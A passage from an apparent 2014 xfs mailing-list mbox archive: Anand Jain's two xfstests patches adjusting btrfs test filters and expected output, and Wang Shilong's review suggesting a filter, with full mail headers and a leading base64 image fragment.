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 V2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV//9k= ------=_001_NextPart682630066744_=------ From anand.jain@oracle.com Mon Jan 13 07:07:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B1BB87F3F for ; Mon, 13 Jan 2014 07:07:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 964758F8054 for ; Mon, 13 Jan 2014 05:07:20 -0800 (PST) X-ASG-Debug-ID: 1389618438-04cbb04167d85c00001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id yVM1SGdqzeOhOeYf (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 13 Jan 2014 05:07:19 -0800 (PST) X-Barracuda-Envelope-From: anand.jain@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0DD7He4016970 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 13 Jan 2014 13:07:18 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s0DD7HlJ015228 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 13 Jan 2014 13:07:17 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s0DD7Hbx015215; Mon, 13 Jan 2014 13:07:17 GMT Received: from wish.sg.oracle.com (/10.186.101.18) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 13 Jan 2014 05:07:16 -0800 From: Anand Jain To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH 2/2] xfstest: tests btrfs/006 fails with mixed-mode/small disks Date: Mon, 13 Jan 2014 21:16:30 +0800 X-ASG-Orig-Subj: [PATCH 2/2] xfstest: tests btrfs/006 fails with mixed-mode/small disks Message-Id: <1389618990-24544-2-git-send-email-anand.jain@oracle.com> X-Mailer: git-send-email 1.8.1.164.g2d0029e In-Reply-To: <1389618990-24544-1-git-send-email-anand.jain@oracle.com> References: <1389618990-24544-1-git-send-email-anand.jain@oracle.com> X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1389618439 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines From: Anand Jain as of now the script does not filter 0.00 size in the filesystem show output, which is the case in multi-disk mixed-mode (that is default group type for small disks) Signed-off-by: Anand Jain --- common/filter | 6 ++++++ common/filter.btrfs | 1 + 2 files changed, 7 insertions(+) diff --git a/common/filter b/common/filter index c872a27..04d12c4 100644 --- a/common/filter +++ b/common/filter @@ -277,6 +277,12 @@ _filter_uuid() fi } +# In mixed group the added disks may have zero used size +_filter_zero_size() +{ + sed -e "s/0\.00//g" +} + # Filter out sizes like 6.14MB etc _filter_size() { diff --git a/common/filter.btrfs b/common/filter.btrfs index 29512cd..75853f2 100644 --- a/common/filter.btrfs +++ b/common/filter.btrfs @@ -33,6 +33,7 @@ _filter_btrfs_filesystem_show() # the uniq collapses all device lines into 1 _filter_uuid $UUID | _filter_scratch | _filter_scratch_pool | \ _filter_size | _filter_btrfs_version | _filter_devid | \ + _filter_zero_size | \ sed -e "s/\(Total devices\) $NUMDEVS/\1 $NUM_SUBST/g" | \ uniq } -- 1.8.4.2 From anand.jain@oracle.com Mon Jan 13 07:07:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2EF9E7F52 for ; Mon, 13 Jan 2014 07:07:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E9BC48F8054 for ; Mon, 13 Jan 2014 05:07:18 -0800 (PST) X-ASG-Debug-ID: 1389618437-04bdf0568e247ca0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id GmNChBq05EZzAAB5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 13 Jan 2014 05:07:17 -0800 (PST) X-Barracuda-Envelope-From: anand.jain@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s0DD7GqN021546 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 13 Jan 2014 13:07:16 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0DD7FiR007509 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 13 Jan 2014 13:07:16 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0DD7FDO007501; Mon, 13 Jan 2014 13:07:15 GMT Received: from wish.sg.oracle.com (/10.186.101.18) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 13 Jan 2014 05:07:15 -0800 From: Anand Jain To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH 1/2] xfstests: make btrfs/001.out in line with subvol delete output Date: Mon, 13 Jan 2014 21:16:29 +0800 X-ASG-Orig-Subj: [PATCH 1/2] xfstests: make btrfs/001.out in line with subvol delete output Message-Id: <1389618990-24544-1-git-send-email-anand.jain@oracle.com> X-Mailer: git-send-email 1.8.1.164.g2d0029e X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1389618437 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines From: Anand Jain btrfs/001 is failing as below btrfs-progs patch changed the output during subvol delete. Patch : btrfs-progs: add options to set commit mode after subvol delete so add it to the btrfs/001.out Signed-off-by: Anand Jain --- tests/btrfs/001.out | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/btrfs/001.out b/tests/btrfs/001.out index c782bde..a255614 100644 --- a/tests/btrfs/001.out +++ b/tests/btrfs/001.out @@ -33,6 +33,7 @@ subvol Listing subvolumes snap subvol +Transaction commit: none (default) Delete subvolume 'SCRATCH_MNT/snap' List root dir subvol -- 1.8.4.2 From wangshilong1991@gmail.com Mon Jan 13 07:14:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3F64E7F3F for ; Mon, 13 Jan 2014 07:14:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E5CEAAC004 for ; Mon, 13 Jan 2014 05:14:26 -0800 (PST) X-ASG-Debug-ID: 1389618865-04bdf00fe268a190001-NocioJ Received: from mail-pb0-f49.google.com (mail-pb0-f49.google.com [209.85.160.49]) by cuda.sgi.com with ESMTP id mRiGyP1z22YqFsJ1 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 13 Jan 2014 05:14:25 -0800 (PST) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.49 Received: by mail-pb0-f49.google.com with SMTP id jt11so7284107pbb.36 for ; Mon, 13 Jan 2014 05:14:25 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=TQ5NxxuR+8nHHoDkXUxFSxkGrLw8t2PK2zYgW/LZ27M=; b=RsNV/yXqwRkn67XIvVJW8b+aXlReSjhrZ17M2anYpWcBTNYg7/fPSwizOf6rJnzYpJ jEzCEQxXIJEBIcwSGwdWBFzKQGhdc+ybyCTNUnQRYrSfpyqfeIqc8ueE3aLHxms8WheK IqJxI/13EZUOguG/deWH1qdVX7wi2/eFXupsG2LfhbCmcgfEbkKQOq3xXYBaqcXde6Mf fqU5OnHVVuMxf0NObQMqk4O3Myg8izrKg9A6gvqQ30rDE3JQIafJQkvvdiP+jEMle+vE uaHj8ULHP7Lg9L7pGXYgiC+S3Gbh376lT7Tz2kpxG6kX1rc/1fqYsqxh3mEObSZfczUW uEQQ== X-Barracuda-BBL-IP: nil X-Received: by 10.66.161.38 with SMTP id xp6mr3333982pab.145.1389618865476; Mon, 13 Jan 2014 05:14:25 -0800 (PST) Received: from [192.168.1.100] ([223.65.140.6]) by mx.google.com with ESMTPSA id fm1sm48705541pab.22.2014.01.13.05.14.23 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 13 Jan 2014 05:14:24 -0800 (PST) Content-Type: text/plain; charset=GB2312 Mime-Version: 1.0 (Mac OS X Mail 6.2 \(1499\)) Subject: Re: [PATCH 1/2] xfstests: make btrfs/001.out in line with subvol delete output From: Wang Shilong X-ASG-Orig-Subj: Re: [PATCH 1/2] xfstests: make btrfs/001.out in line with subvol delete output In-Reply-To: <1389618990-24544-1-git-send-email-anand.jain@oracle.com> Date: Mon, 13 Jan 2014 21:14:22 +0800 Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Content-Transfer-Encoding: quoted-printable Message-Id: <5A6081D2-68E6-47BC-A534-6502B680DDDD@gmail.com> References: <1389618990-24544-1-git-send-email-anand.jain@oracle.com> To: Anand Jain X-Mailer: Apple Mail (2.1499) X-Barracuda-Connect: mail-pb0-f49.google.com[209.85.160.49] X-Barracuda-Start-Time: 1389618865 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.23 X-Barracuda-Spam-Status: No, SCORE=0.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hello Anand, I was noticing this problem when using the latest btrfs-progs to test = ^_^ I think a better way is to filter message 'Transaction commit: none = (default)' Rather than add it, otherwise, people will fail this test if they use = previous btrfs-progs=A1=AD=A1=AD Thanks, Wang > From: Anand Jain >=20 > btrfs/001 is failing as below btrfs-progs patch changed the > output during subvol delete. > Patch : > btrfs-progs: add options to set commit mode after subvol delete >=20 > so add it to the btrfs/001.out >=20 > Signed-off-by: Anand Jain > --- > tests/btrfs/001.out | 1 + > 1 file changed, 1 insertion(+) >=20 > diff --git a/tests/btrfs/001.out b/tests/btrfs/001.out > index c782bde..a255614 100644 > --- a/tests/btrfs/001.out > +++ b/tests/btrfs/001.out > @@ -33,6 +33,7 @@ subvol > Listing subvolumes > snap > subvol > +Transaction commit: none (default) > Delete subvolume 'SCRATCH_MNT/snap' > List root dir > subvol > --=20 > 1.8.4.2 >=20 > -- > To unsubscribe from this list: send the line "unsubscribe linux-btrfs" = in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From anand.jain@oracle.com Mon Jan 13 07:27:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6F4E47F3F for ; Mon, 13 Jan 2014 07:27:59 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 431F1304053 for ; Mon, 13 Jan 2014 05:27:56 -0800 (PST) X-ASG-Debug-ID: 1389619674-04cbb04168d865f0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id eHWzbzvTl08hnLd3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 13 Jan 2014 05:27:55 -0800 (PST) X-Barracuda-Envelope-From: anand.jain@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s0DDRr62011304 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 13 Jan 2014 13:27:54 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0DDRq7T015014 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 13 Jan 2014 13:27:53 GMT Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0DDRqU9005931; Mon, 13 Jan 2014 13:27:52 GMT Received: from [10.191.106.247] (/10.191.106.247) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 13 Jan 2014 05:27:52 -0800 Message-ID: <52D3E9D6.2030104@oracle.com> Date: Mon, 13 Jan 2014 21:27:50 +0800 From: Anand Jain Organization: Oracle Corporation User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Wang Shilong CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH 1/2] xfstests: make btrfs/001.out in line with subvol delete output References: <1389618990-24544-1-git-send-email-anand.jain@oracle.com> <5A6081D2-68E6-47BC-A534-6502B680DDDD@gmail.com> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfstests: make btrfs/001.out in line with subvol delete output In-Reply-To: <5A6081D2-68E6-47BC-A534-6502B680DDDD@gmail.com> Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 8bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1389619675 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Wang, Ah yes. why did I miss that point earlier. Will fix it. Thanks, Anand On 13/01/2014 21:14, Wang Shilong wrote: > Hello Anand, > > I was noticing this problem when using the latest btrfs-progs to test ^_^ > > I think a better way is to filter message 'Transaction commit: none (default)' > Rather than add it, otherwise, people will fail this test if they use previous > btrfs-progs > > Thanks, > Wang >> From: Anand Jain >> >> btrfs/001 is failing as below btrfs-progs patch changed the >> output during subvol delete. >> Patch : >> btrfs-progs: add options to set commit mode after subvol delete >> >> so add it to the btrfs/001.out >> >> Signed-off-by: Anand Jain >> --- >> tests/btrfs/001.out | 1 + >> 1 file changed, 1 insertion(+) >> >> diff --git a/tests/btrfs/001.out b/tests/btrfs/001.out >> index c782bde..a255614 100644 >> --- a/tests/btrfs/001.out >> +++ b/tests/btrfs/001.out >> @@ -33,6 +33,7 @@ subvol >> Listing subvolumes >> snap >> subvol >> +Transaction commit: none (default) >> Delete subvolume 'SCRATCH_MNT/snap' >> List root dir >> subvol >> -- >> 1.8.4.2 >> >> -- >> To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in >> the body of a message to majordomo@vger.kernel.org >> More majordomo info at http://vger.kernel.org/majordomo-info.html > > -- > To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > From BATV+3f902d3688432f5a2c96+3795+infradead.org+hch@bombadil.srs.infradead.org Mon Jan 13 08:14:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 827E07F3F for ; Mon, 13 Jan 2014 08:14:32 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4CFBB304048 for ; Mon, 13 Jan 2014 06:14:29 -0800 (PST) X-ASG-Debug-ID: 1389622467-04bdf0568e249e30001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id IJAnL7GZ02fNnMj1 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 13 Jan 2014 06:14:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+3f902d3688432f5a2c96+3795+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W2iHQ-0007qO-LP; Mon, 13 Jan 2014 14:14:16 +0000 Date: Mon, 13 Jan 2014 06:14:16 -0800 From: Christoph Hellwig To: Al Viro , Jens Axboe , Mark Fasheh , Joel Becker Cc: linux-fsdevel@vger.kernel.org, 